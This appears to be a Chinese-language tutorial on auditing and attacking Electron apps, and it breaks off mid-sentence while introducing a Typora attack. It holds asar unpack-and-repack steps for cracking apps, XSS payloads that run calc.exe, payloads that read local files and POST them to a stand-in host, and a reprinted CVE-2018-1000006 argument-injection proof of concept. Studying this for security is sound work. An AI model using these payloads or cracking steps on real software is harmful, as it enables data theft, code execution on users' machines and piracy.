0x00 前言
electron是一個流行的桌面應用開發框架,允許開發者使用web技術和nodejs結合來迅速開發桌面應用. 不過由於使用了js等, 也引入了xss漏洞,通常如果能在electron應用發現xss就可以rce。
0x01逆向
“ asar ”文件是“帶有索引的簡單的類似tar的廣泛存檔格式”,Electron提供了一個npm軟件包來管理這些文件(打包/提取)。但是,此文件未以任何方式進行加密,混淆或保護。攻擊者可以對這些文件進行任何修改,然后重新打包文件而無需修改實際可執行文件的簽名。此外,這種攻擊在所有操作系統上均有效。
Electron跨平台程序破解
Electron封裝的跨平台程序破解的一般思路:
- 安裝npm(至於如何安裝,網上教程很多,不贅述)
- 安裝好npm后執行命令安裝asar:npm install asar -g
- 以macOS平台為例,在Prepros.app/Contents/Resources下找到app.asar,其他平台方法類似
- 用asar命令解包:asar e app.asar tmp
- 到步驟4中建立的tmp目錄下找到對應的js文件hack之。
- 破解完后重新封裝程序 :asar p tmp/ app.asar,破解完成。
這里有時候會遇到個坑就是:不能把文件叫取名為tmp,必須是app,文件夾名使用tmp后重新封裝出現40g的情況,tmp重新封裝會出現文件無法打包的問題
所以正確的方法是
- 安裝npm(至於如何安裝,網上教程很多,不贅述)
- 安裝好npm后執行命令安裝asar:npm install asar -g
- C:\Users\yonghu\AppData\Local\Programs*\resources下找到app.asar
- 用asar命令解包:asar e app.asar app
- 到步驟4中建立的app目錄下找到對應的rendderer.js文修改
- 破解完后重新封裝程序 :asar p app/ app.asar,破解完成。
0x02 審計思路
各個目錄的目錄結構不一定,但都有一個主文件 如 main.js
. 在這里處理應用的啟動
在最簡單的應用版本中,一個Electron文件包含下面三個文件:index.js
,index.html
,package.json
。
我們檢查的第一個目標是package.json
,其中包含了所有應用入口點的對應文件路徑:
{
"name": "Example App",
"description": "Core App",
"main": "app/index.js",
"private": true,
}
如上例子,入口點是位於app文件夾中名為index.js的文件,該文件將會作為主進程執行。如果沒有特別的指定,index.js是默認的主文件。文件index.html和其他的web資源被用在渲染進程中,用來展示真實的內容給用戶。一個新的渲染進程(renderer process)在主進程(main process)實例化每一個browserWindow時被創建。
自定義url協議
electron應用可以注冊自己的url 協議 例如custom://
, 使得可以通過瀏覽器直接打開應用. 這里對url協議的處理不當可能導致rce等 例子.
注冊url的代碼例子如下
const protocol = electron.protocol
// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'
function createWindow () {
mainWindow = new BrowserWindow({width: 1000, height: 800})
// handle url protocol
protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
const fullUrl = formFullTodoUrl(req.url)
devToolsLog('full url to open ' + fullUrl)
mainWindow.loadURL(fullUrl)
})
}
domxss
Electron 中的 DOM 操作必須更精細,嚴格轉義是必要的。(渲染進程中可以使用 Node 函數) 基於這個特性,攻擊者可以在此之中插入 Node 函數用於攻擊, 比如,這是一個普通的 XSS 實例:
// xss_source 是攻擊者可以控制的字符串
elm.innerHTML = xss_source; // XSS!
攻擊者可以以下面的方式利用:
// 彈計算器
<img src=# onerror="require('child_process').exec('calc.exe',null);">
// 讀取本地文件並發送
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
lectron 的架構問題
- 瀏覽器窗口默認支持加載file://
- 並沒有與普通瀏覽器一般的地址欄
本地文件信息竊取
我們發現在默認情況下,Node 語句是可用的。 但是,如果開發者禁用了 Node 語句:
// main.js 節選
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
這種情況下,我們注入的 Node 語句不生效,可造成的威脅降低了。 看起來,在創建 BrowserWindow 的時候禁用 Node 語句是必要的。 但是,如果 Node 語句被禁用,Electron 會變得很雞肋。
如果開發者執意禁止 Node 語句,我們依然不是無計可施的。 以剛剛的 main.js 為例,我們可以通過xhr來做更多的事情。
var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );
通過上面的代碼,我們可以讀取本地文件並將其發送出去。 這使得開發者在犧牲 Electron 的實用性禁用 Node 語句后, XSS 依舊十分強大。
0x03 實戰案列
CVE-2018-1000006:Electron遠程代碼執行漏洞
影響范圍
Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本
漏洞環境搭建
先把環境搭建出來,將存在漏洞的Electron 1.7.10壓縮包下載至本地,雙擊electron.exe運行。(實現環境下直接將寫的代碼用鼠標拖至Electron窗體里即可運行。)
確認項目沒有問題后,即可進行后續的漏洞分析工作。
PoC的構造
通過漏洞公告可以知道,漏洞存在於app.setAsDefaultProtocolClient()方法。
昨天捅咕了半天,沒啥進展,今天先知上有大佬發了分析文章(Electron < v1.8.2-beta.4 遠程命令執行漏洞-【CVE-2018-1000006】),學習一發,PoC采用原作者提供的。
將存在漏洞的項目拖至electron.exe窗體中即可運行。
PoC(from CHYbeta/CVE-2018-1000006-DEMO):
<html>
<head>
POC for CVE-2018-1000006
</head>
<body>
<a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
</body>
</html>
點擊超鏈接,則會觸發這個RCE,實現命令執行。
原理淺析
由官方的漏洞公告可知,該漏洞存在位置app.setAsDefaultProtocolClient(),在倉庫中全局搜索SetAsDefaultProtocolClient(electron/electron),由於該漏洞僅影響Windows系統,則關注下browser_win.cc#L212(https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212),該函數的主要的功能是實現注冊表鍵值的注冊。
bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
mate::Arguments* args) {
// HKEY_CLASSES_ROOT
// $PROTOCOL
// (Default) = "URL:$NAME"
// URL Protocol = ""
// shell
// open
// command
// (Default) = "$COMMAND" "%1"
//
// However, the "HKEY_CLASSES_ROOT" key can only be written by the
// Administrator user. So, we instead write to "HKEY_CURRENT_USER\
// Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
// anyway, and can be written by unprivileged users.
if (protocol.empty())
return false;
base::string16 exe;
if (!GetProtocolLaunchPath(args, &exe))
return false;
// Main Registry Key
HKEY root = HKEY_CURRENT_USER;
base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
// Command Key
base::string16 cmdPath = keyPath + L"\\shell\\open\\command";
// Write information to registry
base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
FAILED(key.WriteValue(L"", urlDecl.c_str())))
return false;
base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
return false;
return true;
}
通過運行regedit打開注冊表編輯器可以看到
運行PoC,點擊構造好的超鏈接(payload),注冊表中的%1則會替換為payload,
chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
payload中的雙引號閉合掉前面的雙引號,最后形成如下所示命令
elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"
通過第3個參數帶入Chromium實現命令執行:--renderer-cmd-prefix=cmd.exe /c start calc
縷一下攻擊場景和完整的利用思路:
0、程序開發時調用了存在漏洞的函數,實現用戶自定義協議的注冊,拿我這個來說注冊了test協議,那當用戶訪問test協議下的資源時,就會啟動該程序訪問(test://xxx)
app.setAsDefaultProtocolClient('test')
1、程序啟動時會在注冊表中注冊鍵值(%1是占位符,用於接收用戶輸入的參數)
"E:\elec_rce.exe" "%1"
2、執行PoC時,通過剛剛程序注冊的test://自定義協議觸發
test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
3、payload帶入占位符%1,同時閉合雙引號,通過后續的參數--renderer-cmd-prefix,傳遞至Chromium,實現命令執行
如何在Typora編輯器上實現遠程命令執行
我們知道,針對Electron應用,大部分時候我們只要找到了XSS漏洞,也就約等於完成了命令執行。所以,我們祭出祖傳的XSS payload一頓打,驚喜發現沒有任何彈窗。通過簡單研究我們發現,Typora作者在研發的時候采用了cure53的DOMPurify過濾了預覽輸出的html,緩解了大部分的XSS攻擊。
那這個編輯器就沒有漏洞了嗎?
當然是不可能的。Kein System ist sicher.
有人可能會想到一個神奇的標簽